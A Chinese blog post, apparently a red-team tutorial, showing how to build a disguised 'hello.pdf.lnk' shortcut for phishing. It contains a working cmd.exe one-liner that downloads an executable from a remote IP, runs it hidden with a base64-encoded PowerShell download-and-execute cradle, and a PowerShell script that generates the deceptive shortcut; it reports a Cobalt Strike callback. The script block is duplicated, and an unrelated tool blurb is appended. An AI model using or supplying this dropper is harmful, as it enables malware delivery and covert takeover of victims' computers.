红队钓鱼技术之LNK快捷方式

简介

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令


步骤

1.编写shell命令

首先新建一个文本文件test.txt,用于存放要执行的shell命令(其实快捷方式钓鱼的本质就是指向cmd.exe以此来执行shell命令)

test.txt的内容如下所示,其目的是远程下载木马程序至本地存放临时文件的目录,随后附加参数执行木马程序

cmd.exe /c (curl http://192.168.47.155:80/download/mypowershell.exe --output C:\Windows\TEMP\win.exe) & (start /B C:\Windows\TEMP\win.exe SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDcuMTU1OjgwL2InKSk=)

start命令用于启动一个新的窗口来运行指定的程序或命令,而/B选项告诉start 命令在后台(即无窗口)运行。这样做的目的是更加隐蔽地执行木马程序


2.编写ps1脚本生成lnk

创建一个powershell脚本文件createlnk.ps1,代码如下所示,其目的是生成一个lnk快捷方式

"test.txt" 文件中获取内容,并将该内容存储在变量 $file$file = Get-Content "test.txt"

 创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell

 使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")

 设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"

 设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"

 设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file

 保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()

3.运行测试

使用powershell运行createlnk.ps1后会生成一个lnk文件hello.pdf.lnk

点击lnk文件后,会执行之前编写的shell命令。如下图所示,hello.pdf.ink会被真正的pdf文件替换掉,CS成功上线。

这些功能的实现都归功于远程的powershell脚本,后续我会讲解下此脚本的实现思路

动画

远程下载的木马程序其实就是一个模拟powershell的可执行程序,想了解的可以看我博客免杀系列的文章。

这里我讲解下powershell远程执行脚本的代码,从上述的执行效果图可以发现,点击lnk一段时间后才打开真正的pdf文件,这是因为脚本需要花费一些时间去遍历系统的目录以此来寻找到lnk钓鱼文件的所在路径。后面你还可以添加CS上线的powershell代码,这里我就没添上去了

"test.txt" 文件中获取内容,并将该内容存储在变量 $file$file = Get-Content "test.txt"

 创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell

 使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")

 设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"

 设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"

 设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file

 保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()

上述脚本代码有关于设置快捷方式的图标位置,图标位置的下标排序是从0开始的。例如下图我所指的这个图标,它的位置下标是1(从上往下数, 随后以此从左往右数)

这里还有一个大坑, 我发现在gui界面更换图标后点击lnk文件无法执行对应的shell命令, 只有使用powershell脚本来更换图标文件才能正常执行

image-20230806170455971

参考链接

  • https://xz.aliyun.com/t/9159#toc-5
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Goby红队版POC是一个专门为红队渗透测试设计的工具。红队渗透测试是指模拟攻击者的技术和策略来评估组织的网络安全防御能力,并识别潜在的漏洞和弱点。Goby红队版POC通过发现、测试和利用网络系统和应用程序中的漏洞,帮助安全团队更好地保护组织的网络。 Goby红队版POC的主要功能包括漏洞扫描、漏洞检测和漏洞利用。它可以扫描网络目标,查找可能存在的漏洞,并生成详细的报告。与传统的漏洞扫描工具不同,Goby红队版POC还具备漏洞检测的能力,可以通过发送特定的网络数据包来检测目标系统的漏洞。同时,它还提供了漏洞利用的功能,可以自动化地利用漏洞攻击目标系统,以验证漏洞的存在性,并帮助安全团队修补这些漏洞。 Goby红队版POC还具备一个直观的用户界面,使安全团队能够方便地管理和执行渗透测试任务。它提供了多种方式来配置和管理扫描任务,包括选择扫描目标、设置扫描选项、编写自定义POC等。同时,它还支持生成漏洞报告,以便安全团队更好地识别和修补漏洞。 总之,Goby红队版POC是一款功能强大的红队渗透测试工具,能够帮助安全团队发现和利用网络系统和应用程序中的漏洞,提高组织的网络安全防御能力。它的直观用户界面和丰富的功能使得安全团队能够更加高效地管理和执行渗透测试任务,并根据测试结果采取相应的修补措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值